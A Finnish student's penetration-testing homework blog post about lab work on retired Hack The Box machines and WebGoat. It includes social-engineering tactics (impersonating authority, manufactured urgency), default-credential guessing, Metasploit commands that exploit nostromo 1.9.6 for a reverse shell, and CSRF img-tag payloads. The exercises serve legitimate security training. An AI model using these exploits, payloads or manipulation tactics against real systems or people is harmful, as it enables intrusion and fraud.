Tunkeutumistestaus läksyjä viikko 3 – Caius Juvonen

a) Rikun opit. Poimi jokin Rikun esityksestä oppimasi seikka ja kuvaile se. Mikä idea tai tekniikka vaikutti lupaavimmalta? Älä siteeraa tapausesimerkkejä tai kohteiden nimiä vastauksessasi. (Joku ei päässyt kuulemaan vierailua, olen antanut silloin vaihtoehtoisen tehtävän).

Tykkäsin Rikun esityksessä authoriteetin käyttämisestä ihmisiä vastaan, sillä aika harva uskaltaa haastaa auktoriteettihahmoja. Tietenkin jos esiinnyt jonkun pomona se ei varmaan toimi ilman erittäin vakuuttavaa valeasua, mutta voit esiintyä vaikka jonkun toisen organisaation virkailijana jolla olisi normaaleita työntekijöitä korkeampi asema: esimerkiksi, jonkinlainen tarkastaja.

Tälläisellä tarinalla on mahdollista päästä vaikka organisaation tärkeisiin osiin, kuten vaikka serverihuoneeseen. On tietysti otettava huomioon että mikäli organisaatio ottaa tietoturvan ja yleisen turvallisuuden muutenkin tosissaan, on voi olla vaikeampaa päästä kriittisiin paikkoihin, varsinkin mikäli siinä ei normaalisti olisi järkeä. Rooliin eläytymisellä kuitenkin pääsee jo hyvinkin pitkälle, sillä suurin osa ihmisistä haluaa olettaa hyvää.

Riku myös puhui kuinka pienellä hyvällä teolla voi saada ihmiset tekemään hyvän teon takaisin: esimerkiksi hymyllä ja tervehtimisellä, tai vaikka oven auki pitämisellä. Tämän avulla voi päästä paikkoihin mihin normaalisti ei olisi pääsyä. Myös eräs toimiva mutta Rikun mielestä ikävä tekniikka on painostaa ihmisiä tekemään asioita sanomalla että päätöksellä on erittäin kiire, tai jokin tehtävä on todella tärkeä. Tällä pyritään ohittamaan ihmisten normaali ajattelumekanismi, joka saattaisi muuten johtaa siihen että he tajuavat että heitä yritetään huijata/jokin ei ole oikein.

b) Tiedustele perusteellisesti joitain HTB:n koneita, joissa on weppipalvelin. Sopivia työkaluja ovat esimerkiksi gobuster ja nikto. Voit käyttää lisäksi muitakin työkaluja. Kokeile lomakkeisiin ainakin perusjuttuja (admin:admin, admin: , root: , root:root, guest:guest, asfasdf:adfkjwoeri, hipsu ‘) Selaile myös sivua ja seuraa liikennettä mitmproxylla. Analysoi tulokset. (Pelkät komentojen tulosteet eivät riitä.) Ovatko versiot vanhoja vai tuoreita? Onko epätavallisia asetuksia? Jos haavoittuvuusskanneri hälyttää, onko hälytys oikea? Mitkä aukot vaikuttavat parhaimmilta/pahimmilta? Miten pitkälle pääset koneen kanssa?

Minulla oli aiemmasta skannista olemassa tiedostot mihin olin tallentanut skannien tuloksia, joten voimme sitä katsomalla kokonaan skipata tutkintavaiheen (eli uuden porttiskannauksen) ja valita vain suoraan kohteemme. Tämän takia on hyödyllistä tallentaa kaikki port skannit tiedostoihin, sillä näin välttää verkon uudelleenskannauksen. Muistetaan kuitenkin muodostaa yhteys HTB:n koneille ensin openvpn softan avulla. Käytämme siihen kometoa openvpn capu.ovpn (capu.ovpn on HTB:stä ladattava connection pack, eli tuo vain tiedoston nimi). Varmistamme vielä yhteyden pingaamalla jotain koneista: ping 10.10.10.183: saamme vastauksen, eli olemme oikeassa verkossa.

Päätin ottaa kohteeksi 10.10.10.165, sillä se on hiljattain retired machine, eli voin julkaista tähän blogiin kaiken mitä löydän, ja se on ratettu kohtuullisen helpoksi. Katsoin active machineista sellaisia jotka olisivat lähinnä web-servereitä, ja suurin osa vaikutti todella haastavilta, ainakin muiden käyttäjien mielestä. Ehkä näin aloittelijana ei ole fiksuin idea lähteä yrittämään jotain mikä on parempienkin mielestä jo vaikeaa, vaikka eihän tässä nyt ole tarkoitus välttämättä korkata koko boksia vaan yrittää tutkia kunnolla. No, pointtina voin kuitenkin raportoida tässä kyseisestä boxista.

Ajattelin aloittaa skannaamalla siten gobusterin avulla, jotta voisimme löytää mahdollisia login sivuja tai jotain muuta mielenkiintoista. Gobuster ei tule kalin mukana, joten asennamme sen ensin komennoilla

apt-get update
apt-get install gobuster -y 

Voimme käyttää kalissa olevia wordlisteja tässä hyökkäyksessä. Ne sijaitsevat /usr/share/wordlists/. Siellä on myös erityisesti tätä varten tarkoitettuja wordlistoja, directoryissä /dirb/ ja /dirbuster/. Käytän tässä /usr/share/wordlists/dirb/common.txt Tämän jälkeen meidän ei tarvitse tehdä muuta kuin laittaa gobuster käyntiin wordlistallamme. Se hoituu komennolla

gobuster dir -u 10.10.10.165 -w common.txt

Komento siis juostu /usr/share/wordlists/dirb/ kansiosta, muuten tuohon -w jälkeen voisi laittaa vaan koko pathin. Tämän komennon jälkeen annamme gobusterin vain kokeilla kaikkia eri vaihtoehtoja ja odotamme kunnes se on valmis. En löytänyt hirveästi directoryjä, mutta sellaiset kuin

  • /css
  • /icons
  • /img
  • /index.html
  • /js
  • /lib

löytyivät. Käyn nyt niitä hieman läpi ja tutkin onko niillä jotain. Aloitetaan /css . Sieltä löytyy style.css tiedosto, ja css siis käytetään sivun muotoiluun. En nää tätä erityisen tärkeänä, joten liikutaan eteenpäin: /icons on nimensä mukaisesti varmaan sivun iconit. Sieltä löytyi 2 gif fileä, jotka taas ovat, noh, eivät niin mielenkiintoisia. /img taas oli täynnä pelkkiä .png kuvia, jonka olisi tietysti taas voinut arvata etukäteenkin. /index.html on sivun pääsivu, tämän saamme muutenkin kun connectaamme tälle sivustolle. /js sijaitsee sivun javascript tiedosto, jota emme myöskään oikeastaan tarvitse. /lib on hieman mielenkiintoisempi, sillä siellä on useita eri directoryjä jossa on tiedostoja javascriptistä kuvatiedostoihin. Sekään ei kuitenkaan näyttänyt erityisen lupaavalta.

En usko että tällä pääsee eteenpäin, enkä usko että sivustolla on mitään mielenkiintoisia hidden directoryjä millä pääsisimme eteenpäin, joten vaihdan taktiikkaa ja kokeilen niktoa seuraavaksi. Teen uuden directoryn nikto skannia varten, sillä ajattelin pistää tämän komennon outputin fileen. En ole ennen käyttänyt niktoa, joten luin pari artikkelia siitä (lähteet 1&2) ja päätin käyttää seuraavaa komentoa:

nikto -Display 1234V -Tuning 6x -o niktoskan.html -Format htm -host 10.10.10.165

Tässä -Display ja sen jälkeiset numerot on erilaiset display optionit, eli se mitä ohjelma näyttää meille kohteesta. En käy jokaisen eri numeron läpi tässä. Seuraavaksi -Tuning kokeilee erilaisia hyökkäystapoja kohdetta vastaan. 6 on Denial of service ja X tarkoittaa että se kokeilee jokaista hyökkäystä paitsi sitä joka on tässä mainittu, eli 6 (Denial of service). -o Kertoo meille output filen nimen ja sijainnin, ja -Format kertoo missä formatissa output tulee (htm ei ole typo, niktossa html sanotaan htm). -host taas kertoo kohteen, eli tuon valitsemamme boksin. Juostaan komento ja katsotaan mitä tapahtuu.

Komennossa tulee menemään jonkun aikaa, joten samalla tein itselleni hieman ruokaa. Saimme skannin suoritettua tämmöisen tuloksen:

Vaikuttaa siltä että emme pääse tällä eteenpäin. Olen kuitenkin keksinyt toisen tavan päästä sisään, sillä tämä web-palvelin käyttää nostrodomus 1.9.6 joka on tunnettu eräästä haavoittuvuudestaan. Rapid7 kertoo tästä lisää (lähde 3), ja saamme tietää että tämä on siis remote code execution vulnerability, eli erittäin mehukas näin hakkerin näkökulmasta. Näemme myös että tällä on metasploit module jota voimme käyttää hyökkäyksessä.

Metasploit on ohjelma jota voidaan käyttää hyökkäämiseen. Siinä on valmiina tuhansia eri exploitteja, ja niiden käyttöönotto on todella helppoa. Kokeilen käyttää tätä löytämäämme exploittia metasploitin avulla tätä sivua vastaan. Metasploitin voi aloittaa komennolla

msfconsole

Mutta myös muita komentoja pitää käyttää sen aloittamiseksi. Olen tehnyt pienen skriptin millä voin käynnistää metasploitin ja muutaman siihen liittyvän komennon:

service postgresql start
ss -ant
msfdb init
msfconsole

Nyt meidän pitää näiden komentojen sijaan vain käynnistää tämä skripti, ja saamme metasploitin toimimaan. Metasploitissa exploitteja voidaan etsiä komennolla “search <exploit>”. Tehdään search nostromo.

Löydämme yhden exploitin, ja tämä on se kyseinen nostromon 1.9.6 exploit mistä puhuin aiemmin. Voimme käyttää sitä komennolla

use exploit/multi/http/nostromo_code_exec

Tämän jälkeen katsotaan minkälaisia asetuksia tällä exploitilla on, show options komennolla.

Tärkeää huomata mitkä rivit ovat required: näin tiedetään ne tärkeimmät asetukset.

Aika monta eri asetusta tälle yhdelle exploitille. En tiedä mitä nämä kaikki tekevät, ja miten tämä pitäisi configuroida täysin, mutta ainakin kohtaan RHOSTS voisi laittaa kohteen IP:n eli 10.10.10.165. Se voidaan tehdä komennolla

set RHOSTS 10.10.10.165

Kohtaan LHOST taas pitää laittaa meidän oma IP, koska kyseessähän on reverse shelli. Ajattelin että 10.10.14.21 jonka HTB on meille antanut toimisi tässä, joten käytän sitä (toimii koska tämä meidän “ip” ja kohdekone ovat samassa verkossa, eli tällä IP:llä saamme kohteen yhdistettyä meihin!). Muutenhan tässä käytettäisiin routerin oikeaa IP:tä. Käytämme samaa set komentoa kuin aiemmin, tällä kertaa korvaamme vain RHOSTS -> LHOST. Tämän jälkeen voimme tehdä komennon run ilman parametrejä, ja se laukaisee hyökkäyksen.

Suureksi yllätykseni saimme shell yhteyden kohteeseen oikeastaan heti, ilman ongelmia.

Tuossa pari komentoa mitä kokeilin. En kyllä osaa mennä tästä eteenpäin, luulisin että pitää tehdä enumeration että saataisiin priv exec, joten uskon että tämä riittää tältä erää. Tässähän meidän pitäisi seuraavaksi pystyä exploittaamaan järjestelmää vielä enemmän vaikka root accessin saamiseksi, mutta pelkkä sisäänpääseminen oli itselleni ainakin jo ihan hyvä saavutus :).

c) Kokeile neljää https://0xdf.gitlab.io/ mainitsemaa työkalua joihinkin HTB:n koneisiin.

No olen jo periaatteessa kokeillut neljää: nmap, gobuster, nikto, ja metasploit. Kokeilen kyllä jotain muitakin työkaluja, vaikka houkuttaisi jo sanoa että olen kolmea käyttänyt ;). Tosin on vaikea löytää uusia työkaluja käytettäväksi sillä suurin osa mitä voisin kokeilla on recon tools. Nmap on ehkä sellainen työkalu mitä 0xdf käyttää jokaisessa boxissa.

Löysin kuitenkin että 0xdf käyttää myös mysql ja smbmap reconissa, joten päätin kokeilla samaa. Nämä löysin ainakin bankrobberin reportista (lähde 4). Näillä näköjään vain pyritään hieman tökkimään että mikäli jotain tapahtuisi, eli se helppo tapa sisään. Etsin alkuun HTB:n koneista jonkun millä olisi tuo portti 3306 auki mySQL testaamista varten.

Huomasin että aiemmista skanneistani yhdelläkään koneella ei ollut löydettyä porttia 3306, joten aloin miettimään että olikohan se jäänyt ulos pelkästään asetusten takia, että nmap ei olisi skannanut tätä kyseistä porttia. Mielestäni sen olisi pitänyt, koska tämä on aika yleinen portti, mutta laitoin silti uuden nmap skannin menemään pelkästään tälle yksittäiselle portille.

nmap -iL ip_osoitteet.txt -p 3306

Minulla on siis edelleen koneiden ip-osoitteet tallenettuna tuolla tekstitiedostossa, joten voin käyttää sitä tässä skannissa ping skannin ohittamiseksi. -p spesifoi minkä portin skannaamme, eli tuon 3306. Skannissa meni vain 2 sekunttia, koska ohitimme jo ping skannin tiedostolla ja tässä skannattiin pelkästään 1 portti. Ikävä kyllä yksikään portti 3306 ei ollut auki, vaan ne olivat joko closed tai filtered. Kokeilin silti tätä mysql tekniikkaa porttiin joka oli filtered, esimerkkinä kone 10.10.10.168.

mysql -h 10.10.10.168 --port 3306

Ei vastausta. Palomuuri siis ei varmaan palauta mitään paketteja mitä lähetämme tuohon porttiin, eli on siis vastaamatta. No, oli hyvä yrittää silti.

Seuraavaksi ajattelin kokeilla smbmap. Tässä tein saman porttiskannin koneita vastaan, mutta laitoin portin kohdalle vain 445. Tällä kertaa onnistuimme kuitenkin löytämään avoimen portin tuosta osoitteesta, ainakin hostilla 10.10.10.180. Kokeilen seuraavaa komentoa tätä konetta vastaan:

smbmap -H 10.10.10.180 -u caius

Tälläisen tuloksen saimme alkuun. No, varmaan antamani käyttäjänimi ei ollut toimiva, joten kokeilen vielä kerran mutta vaihdan tällä kertaa “caius” -> “admin” ja katson mitä tapahtuu, tai pääsemmekö yhtään pidemmälle. Ei toiminut sekään. Tässä varmaan halutaan salasana myös. Kokeilin nyt vielä legendaarista ja laitoin komennon perään “-p admin” eli kokeilen kirjautua tunnukselle admin admin. Sekään ei onnistunut, eli varmaan ei ole näin helppoa tapaa päästä tähän boxiin kiinni, mutta demosi silti hyvin miten tämä toimii.

On itseasiassa vaikeampi löytää enemmän ohjelmia mitä 0xdf käyttää, sillä recon vaiheessa olen huomannut lähinnä näiden 4 ohjelman käyttöä: nmap, gobuster, mysql, smbmap. Olen tässä raportissa jo kokeillut jokaista neljää, joten jätän tämän tehtävän nyt tähän, koska kävin tosi monta raporttia läpi mutta en ihan löytänyt mitään ohjelmia mitä voisin heti alkaa käyttämään boxeihin. Käytin sen lisäksi myös metasploittia ja niktoa, vaikka en olekkaan vielä nähnyt 0xdf:n käyttävän niktoa mihinkään.

d) Tee WebGoatista lisää tehtäviä niin, että olet ratkaissut yhteensä 20-25 tehtävää.

Viimeksi jätin 19 ratkaistuun tehtävään webgoatin, joten tarvitsemme vain muutaman tällä kertaa. Katsotaan kuinka monta tulen ratkaisemaan, riippuu ajasta ja siitä kuinka helppoja tehtävät ovat. Vielä pitäisi saada mitmproxy actioniin, en ole päässyt käyttämään sitä vielä kunnolla.

Jatkan paikasta Cross-site Scripting (XSS) ja kohta Cross Site Request Forgery (CSRF). Tämä oli hieman hämmentävä tehtävä, enkä ihan aluksi tajunnut mitä tässä oli tarkoitus tehdä.

Tässä siis “email” mikä lähetetään kirjoitetaan tuohon tekstikenttään, ja sinne on tarkoitus saada malicious url rakennettua. Alhaalla näkee parit viestit jotka olen tehnyt jo testinä.

Luettuani tehtävänannon pari kertaa, tein tälläisen urlin:

<img src="" scr="2078372" menu="900" transferFunds="2000">

Mutta se ei toiminut. Mietin hieman lisää ja tajusin, että sen tulisi olla tietysti tässä muodossa:

<img src="attack?scr=2078372&menu=900&transferFunds=2000>

Tällä pääsin läpi, eli idea oli aluksi oikein mutta ei tietysti olisi toiminut. 20 tehty.

Kohta CSRF promt by-pass. Hyvin samanlainen kuin aiempi kohta, mutta tässä piti lisätä meidän malicious urliin stringi CONFIRM. Ensin ajattelin tehdä sen tyylillä

<img src="attack?scr=2078372&menu=900&transferFunds=2000&confirm>

mutta kun se ei toiminut, kokeilin tätä:

<img src="attack?scr=2078372&menu=900&transferFunds=2000=confirm>

Eli tuossa pitää vain käyttää = eikä & niinkuin muissa kohdissa. En ihan ymmärrä koko tuota urlin tekoa ylipäätään, mutta pääsin silti tuolla tehtävästä läpi. 21 tehty.

Skippasin seuraavat tästä cross-site scripting sektionista, koska ne tehtävät olivat aika hämmentäviä ja halusin tehdä jotain muuta. Jätän tähän kohtaan tällä hetkellä koska aika on vähissä, mutta teen vielä tehtävän mikäli ehdin.

e) Kimmo Koskenvuo TrafiCom:lta (ent. Viestintävirasto) opettaa ensi viikolla malware-analyysia CinCan:lla. Silmäile CinCan.io. Asenna ympäristö, jossa voit ajaa CinCania. Ubuntu 18.04, yli 6 GB RAM, yli 4 GB levyä. Ainakin tuo RAM vaatimus on isompi kuin mitä tyypillisessä virtuaalikoneessa on. Monet työkalut vaativat paljon RAM:ia, ja enemmän on parempia. Eikä haittaa, vaikka leyväkin on enemmän. (Laitan myöhemmin viestiä, haluaako Kimmo meidän asentavan koko ohjelmiston etukäteen).

Tämä asennus kohta piti näköjään raportoida, joten teen nyt asennuksen tässä ja näytän sen samalla. Eli tehdään aluksi uusi kone virtualboxissa, ja asetetaan sille vähintään 6gb ram ja 10gb disk spacea. Itse asensin koneelle 12gb ramia ihan varmuuden vuoksi ja myös 25gb disk spacea, eli huomattavasti yli sen mitä tarvitsi. Asennuksen jälkeen meidän pitää vielä asentaa muutamat ohjelmat. Aloitetaan sudo apt-get update. Sen jälkeen asennetaan docker. sudo apt-get install docker -y. Tarvitsemme myös python 3.6 tai uudemman, ja sitä varten sudo apt-get install python3.6 -y. Meidän järjestelmällä olikin kuitenkin jo viimeisin python versio, joten mitään ei tapahtunut.

Seuraavaksi cincan. Tätä ei ladatakkaan apt-get, vaan käytämme siihen pippiä: pip install cincan-command. Kone kuitenkin huomautti, että meillä ei ole vielä pip asennettuna, joten sitä ennen sudo apt-get install python-pip -y . Tämän jälkeen emme vieläkään kuitenkaan pystynyt lataamaan cincania tuolla aiemmalla komennolla, joten aloin googlaamaan ja löysin guiden cincanin asentamiseen (Lähde 5). Kokeilin pip install cincan-command --user , mutta en silti saanut sitä toimimaan, ja mietin pitkään minkä takia. Mutta sitten tajusin että olen asentanut pipin python 2 enkä 3. Näin ollen, asensin pipin python3 tällä komennolla: sudo apt-get install python3-pip. Sen jälkeen käytin komentoa pip3 install cincan-command –user (huom. ei pelkkä pip, vaan pip3). Tämän jälkeen sain terminaalin tekemään sitä mitä halusin sen tekevän, ja se asensi minulle cincan. Kokeilin tämän jälkeen vielä cincan list , ja hyvin näytti toimivan, eli kaikki OK.

Viimeiseksi piti asentaa minion. Ohjeet löytyivät täältä: (Lähde 6). Voimme asentaa minionin komennolla pip3 install git+https://gitlab.com/cincan/minion. No, olisi varmaan kannattanut ottaa huomioon että meillä ei ole vielä gittiä tällä laitteella, joten sekin pitää asentaa alusta. sudo apt-get install git -y. Kokeilemme nyt ensimmäistä komentoa uudestaan, ja se toimii hienosti. Siellä vielä sanotaan että pitää tehdä komento “minion use” jotta se ottaa käyttöön jotkut tietyt säännöt? En täysin varma mitä tällä tarkoitetaan, mutta tehdään silti. Komennon tekemisen jälkeen ymmärsin että kyseessä ei ollutkaan asennus prosessi, vaan nämä säännöt liittyvät tämän komennon käyttöön, en vain lukenut dokumentaatiota kunnolla ensimmäisen kerran.

Mutta nyt meillä pitäisi olla kaikki tarvittava softa asennettuna, ja olemme valmiita tiistain videoluennolla ja workshoppiin.

Lähteet:

Lähde 1: https://tools.kali.org/information-gathering/nikto

Lähde 2: https://www.mankier.com/1/nikto

Lähde 3: https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec

Lähde 4: https://0xdf.gitlab.io/2020/03/07/htb-bankrobber.html

Lähde 5: https://pypi.org/project/cincan-command/

Lähde 6: https://gitlab.com/CinCan/minion

Kurssin läksyt löytyvät täältä: http://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3003/

Leave a comment

Design a site like this with WordPress.com
Get started